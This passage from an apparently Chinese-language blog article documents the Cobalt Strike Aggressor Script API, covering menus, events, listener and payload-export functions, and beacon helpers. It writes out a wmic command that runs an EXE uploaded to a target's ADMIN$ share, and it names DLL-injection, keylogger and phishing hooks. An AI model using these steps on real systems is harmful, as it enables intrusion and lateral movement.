85);">graph_layout</span>(<span style="box-sizing: border-box;color: rgb(0, 85, 170);">$1</span>, <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;circle&#34;</span>); }</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      <span style="box-sizing: border-box;color: rgb(85, 85, 85);">item</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;&amp;Stack&#34;</span>     { <span style="box-sizing: border-box;color: rgb(85, 85, 85);">graph_layout</span>(<span style="box-sizing: border-box;color: rgb(0, 85, 170);">$1</span>, <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;stack&#34;</span>); }</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      <span style="box-sizing: border-box;color: rgb(85, 85, 85);">menu</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;&amp;Tree&#34;</span> {</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">         <span style="box-sizing: border-box;color: rgb(85, 85, 85);">item</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;&amp;Bottom&#34;</span> { <span style="box-sizing: border-box;color: rgb(85, 85, 85);">graph_layout</span>(<span style="box-sizing: border-box;color: rgb(0, 85, 170);">$1</span>, <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;tree-bottom&#34;</span>); }</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">         <span style="box-sizing: border-box;color: rgb(85, 85, 85);">item</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;&amp;Left&#34;</span>   { <span style="box-sizing: border-box;color: rgb(85, 85, 85);">graph_layout</span>(<span style="box-sizing: border-box;color: rgb(0, 85, 170);">$1</span>, <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;tree-left&#34;</span>); }</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">         <span style="box-sizing: border-box;color: rgb(85, 85, 85);">item</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;&amp;Right&#34;</span>  { <span style="box-sizing: border-box;color: rgb(85, 85, 85);">graph_layout</span>(<span style="box-sizing: border-box;color: rgb(0, 85, 170);">$1</span>, <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;tree-right&#34;</span>); }</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">         <span style="box-sizing: border-box;color: rgb(85, 85, 85);">item</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;&amp;Top&#34;</span>    { <span style="box-sizing: border-box;color: rgb(85, 85, 85);">graph_layout</span>(<span style="box-sizing: border-box;color: rgb(0, 85, 170);">$1</span>, <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;tree-top&#34;</span>); }</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      }</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      <span style="box-sizing: border-box;color: rgb(85, 85, 85);">separator</span>();</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">      <span style="box-sizing: border-box;color: rgb(85, 85, 85);">item</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;&amp;None&#34;</span> { <span style="box-sizing: border-box;color: rgb(85, 85, 85);">graph_layout</span>(<span style="box-sizing: border-box;color: rgb(0, 85, 170);">$1</span>, <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;none&#34;</span>); }</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   }</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span></pre><ul class="list-paddingleft-1" cid="n66" mdtype="list" data-mark="+" style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;white-space: normal;"><li style="box-sizing: border-box;"><p cid="n68" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">自定义输出</span></p></li></ul><pre spellcheck="false" lang="perl" cid="n69" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(85, 85, 85);">set</span> <span style="box-sizing: border-box;color: rgb(85, 85, 85);">EVENT_SBAR_LEFT</span> {</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(119, 0, 136);">return</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;[&#34;</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">.</span> <span style="box-sizing: border-box;color: rgb(85, 85, 85);">tstamp</span>(<span style="box-sizing: border-box;color: rgb(85, 85, 85);">ticks</span>()) <span style="box-sizing: border-box;color: rgb(152, 26, 26);">.</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;] &#34;</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">.</span> <span style="box-sizing: border-box;color: rgb(85, 85, 85);">mynick</span>();</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"> </span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(85, 85, 85);">set</span> <span style="box-sizing: border-box;color: rgb(85, 85, 85);">EVENT_SBAR_RIGHT</span> {</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(119, 0, 136);">return</span> <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;[lag: $1 $+ ]&#34;</span>;</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span></pre><ul class="list-paddingleft-1" cid="n70" mdtype="list" data-mark="+" style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;white-space: normal;"><li style="box-sizing: border-box;"><p cid="n72" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">事件</span></p></li></ul><pre spellcheck="false" lang="perl" cid="n73" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(85, 85, 85);">on</span> <span style="box-sizing: border-box;color: rgb(85, 85, 85);">ready</span> {</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(85, 85, 85);">show_message</span>(<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;Ready for action!&#34;</span>);</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(85, 85, 85);">on</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">*</span> {</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(0, 0, 255);">local</span>(<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#39;$handle $event $args&#39;</span>);</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"> </span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(0, 0, 0);">$event</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">shift</span>(<span style="box-sizing: border-box;color: rgb(0, 85, 170);">@_</span>);</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(0, 0, 0);">$args</span>  <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(119, 0, 136);">join</span>(<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34; &#34;</span>, <span style="box-sizing: border-box;color: rgb(0, 85, 170);">@_</span>);</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"> </span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(0, 0, 0);">$handle</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(85, 85, 85);">openf</span>(<span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;&gt;&gt;eventspy.txt&#34;</span>);</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(85, 85, 85);">writeb</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">$handle</span>, <span style="box-sizing: border-box;color: rgb(170, 17, 17);">&#34;[ $+ $event $+ ] $args&#34;</span>);</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">   <span style="box-sizing: border-box;color: rgb(85, 85, 85);">closef</span>(<span style="box-sizing: border-box;color: rgb(0, 0, 0);">$handle</span>);</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">}</span></pre><h3 cid="n74" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">数据接口</span></h3><p cid="n75" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">使用data_query函数可以查看数据类型，使用data_key列出来自Cobalt Strike的数据模型的可查询键</span></p><p cid="n76" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">，这边可以看下官方实例就可以看出cs的target数据模型就是Sleep字典数组</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.35" data-s="300,640" data-type="png" data-w="300" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=981284a1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FkEgicicM5SiaCciaVpLmxV7rMLCvBlIjFCaP6FJnJyUj1nfacZBy2picJVPtiaC05HUKXALgKypI4lWB8QjrcuhB9zHw%2F640%3Fwx_fmt%3Dpng"/></p><h3 cid="n78" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">listener api</span></h3><ul class="list-paddingleft-1" cid="n79" mdtype="list" data-mark="+" style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;white-space: normal;"><li style="box-sizing: border-box;"><p cid="n81" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">listeners ：函数获取所有的listener,</span></p></li><li style="box-sizing: border-box;"><p cid="n83" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">listener_local：返回当前server的listener</span></p></li><li style="box-sizing: border-box;"><p cid="n85" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">listener_create_ext：启动listener</span></p></li><li style="box-sizing: border-box;"><p cid="n87" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">openPayloadHelper ：打开一个对话框，列出所有可用的侦听器</span></p></li><li style="box-sizing: border-box;"><p cid="n89" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">stager：导出绑定了cs payload的stager</span></p></li><li style="box-sizing: border-box;"><p cid="n91" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">artifact_stager：可以导出绑定了cs payload的ps脚本、EXE、或dll</span></p></li><li style="box-sizing: border-box;"><p cid="n93" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">stager_bind_tcp：绑定tcp的stager</span></p></li><li style="box-sizing: border-box;"><p cid="n95" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">beacon_stage_tcp：向stager_bind_tcp传递payload</span></p></li><li style="box-sizing: border-box;"><p cid="n97" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">artifact_general：接收shellcode并产生payload</span></p></li><li style="box-sizing: border-box;"><p cid="n99" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">stager_bind_pipe ：stager仅支持x86</span></p></li><li style="box-sizing: border-box;"><p cid="n101" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">beacon_stage_pipe：向 stager_bind_pipe传递payload</span></p></li><li style="box-sizing: border-box;"><p cid="n103" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">payload：将payload导出为可运行二进制文件</span></p></li></ul><h3 cid="n104" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">beacon</span></h3><p cid="n105" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">Cobalt Strike 为每个 Beacon 分配一个会话 ID。这个 ID 是一个随机数。Cobalt Strike 将任务和元数据与每个 Beacon ID 相关联</span></p><ul class="list-paddingleft-1" cid="n106" mdtype="list" data-mark="+" style="margin-top: 0.8em;margin-bottom: 0.8em;padding-left: 30px;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;white-space: normal;"><li style="box-sizing: border-box;"><p cid="n108" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">beacons查询所有当前 Beacon 会话的元数据</span></p></li><li style="box-sizing: border-box;"><p cid="n110" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">beacon_info查询特定 Beacon 会话的元数据</span></p></li><li style="box-sizing: border-box;"><p cid="n112" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">alias 设置别名</span></p></li><li style="box-sizing: border-box;"><p cid="n114" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">beacon_initial 事件在 Beacon 第一次报告元数据时触发</span></p></li><li style="box-sizing: border-box;"><p cid="n116" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">beacon_initial_empty 与首次呼叫 home 的 DNS Beacon交互</span></p></li><li style="box-sizing: border-box;"><p cid="n118" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">btask：向用户确认操作</span></p></li><li style="box-sizing: border-box;"><p cid="n122" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">beacon_host_script:托管大型脚本</span></p></li><li style="box-sizing: border-box;"><p cid="n124" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">bdllspawn 函数生成一个临时进程，将我们的漏洞利用 DLL 注入其中，并将我们导出的payload作为参数传递</span></p></li><li style="box-sizing: border-box;"><p cid="n126" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">beacon_remote_exec_method_register:尝试远程执行命令</span></p></li><li style="box-sizing: border-box;"><p cid="n128" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">bupload_raw函数将工件数据上传到目标。此函数使用</span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span md-inline="escape" style="box-sizing: border-box;">\</span><span md-inline="plain" style="box-sizing: border-box;">target\ADMIN$\filename.exe</span></strong></span><span md-inline="plain" style="box-sizing: border-box;">通过仅限管理员的共享直接将 EXE 写入远程目标</span></p></li><li style="box-sizing: border-box;"><p cid="n130" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">brun运行</span><span md-inline="strong" style="box-sizing: border-box;"><strong style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">wmic /node:&#34;target&#34; process call create &#34;</span><span md-inline="escape" style="box-sizing: border-box;">\</span><span md-inline="plain" style="box-sizing: border-box;">target\ADMIN$\filename.exe&#34;</span></strong></span><span md-inline="plain" style="box-sizing: border-box;">以在远程目标上执行文件</span></p></li><li style="box-sizing: border-box;"><p cid="n132" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-bottom: 0.5rem;white-space: pre-wrap;"><span md-inline="plain" style="box-sizing: border-box;">bpowerpick:生成一个进程，注入 Unmanaged PowerShell并执行</span></p></li></ul><h3 cid="n133" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">事件</span></h3><pre spellcheck="false" lang="" cid="n134" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">beacon_checkin beacon准入确认发往console时触发</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">beacon_error beacon错误发布到console时触发</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">beacon_indicator</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">beacon_initial beacon第一次报告元数据时触发</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">beacon_initial_empty 与首次呼叫 home 的 DNS Beacon交互时触发</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">beacon_input beacon传入信息发布到console时触发</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">beacon_mode 更改beacon模式时触发</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">beacon_output 输出发布到console时触发</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">beacon_output_alt 当（备用）输出发布到 Beacon 的控制台时触发</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">beacon_output_jobs当job输出发送到 Beacon 的控制台时触发。</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">beacon_output_ls 当 ls 输出发送到 Beacon 的控制台时触发</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">beacon_output_ps当 ps 输出发送到 Beacon 的控制台时触发</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">beacon_tasked 当task输出到console时触发</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">beacons 当server发送有关我们所有信标的最新信息时触发。这大约每秒发生一次</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">disconnect  cs客户端与cs服务端断开时触发</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">event_action当用户在事件日志中执行操作时触发</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">event_beacon_initial当初始信标消息发布到事件日志时触发</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">event_join当用户连接到server时触发</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">event_newsite当新站点消息发布到事件日志时触发</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">event_notify当来自server的消息发布到事件日志时触发</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">event_nouser当前 Cobalt Strike 客户端尝试与未连接到server的用户交互时触发</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">event_private当private消息发布到事件日志时触发</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">event_public当public消息发布到事件日志时触发</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">heartbeat_* 每隔*时间触发一次</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">keylogger_hit当通过克隆站点击键记录器向 Web 服务器报告新结果时触发</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">keystrokes当 Cobalt Strike 收到击键时触发</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">profiler_hit当有新的结果报告给 System Profiler 时触发</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">ready当此 Cobalt Strike 客户端连接到server并准备好行动时触发</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">screenshots当 Cobalt Strike 收到屏幕截图时触发</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">sendmail_*发送钓鱼邮件过程中触发</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">ssh_*同beacon，但session为ssh</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">web_hit 服务器有web访问时触发</span></pre><h3 cid="n135" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">其他函数</span></h3><pre spellcheck="false" lang="" cid="n136" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-family: var(--monospace);font-size: 0.9em;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-position: inherit;background-size: inherit;background-repeat: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;background-color: rgb(248, 248, 248);border-width: 1px;border-style: solid;border-color: rgb(231, 234, 237);border-radius: 3px;padding: 8px 4px 6px;margin-bottom: 15px;margin-top: 15px;width: inherit;"><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">hasbootstraphint 是否有引导函数</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">is64 是否是64位平台</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">isactive 是否活动</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">isadmin是否为管理员</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">isssh 是否是</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">show_message向用户提示消息</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">show_error提示用户错误。</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">dialog创建一个对话框</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">drow_file 文件输入对话框</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">drow_text 文本输入对话框</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">drow_combobox 选择栏对话框</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">dialog_show 显示对话框</span><span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;">dbutton_action 关闭对话框并调用对话框回调函数</span></pre><p cid="n137" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="plain" style="box-sizing: border-box;">更多函数见</span></p><p cid="n138" mdtype="paragraph" style="box-sizing: border-box;line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;"><span md-inline="url" spellcheck="false" style="box-sizing: border-box;word-break: break-all;"><a href="https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics_aggressor-scripts/as-resources_functions.htm#dbutton_action" target="_blank">https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics_aggressor-scripts/as-resources_functions.htm#dbutton_action</a></span></p><h2 cid="n139" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 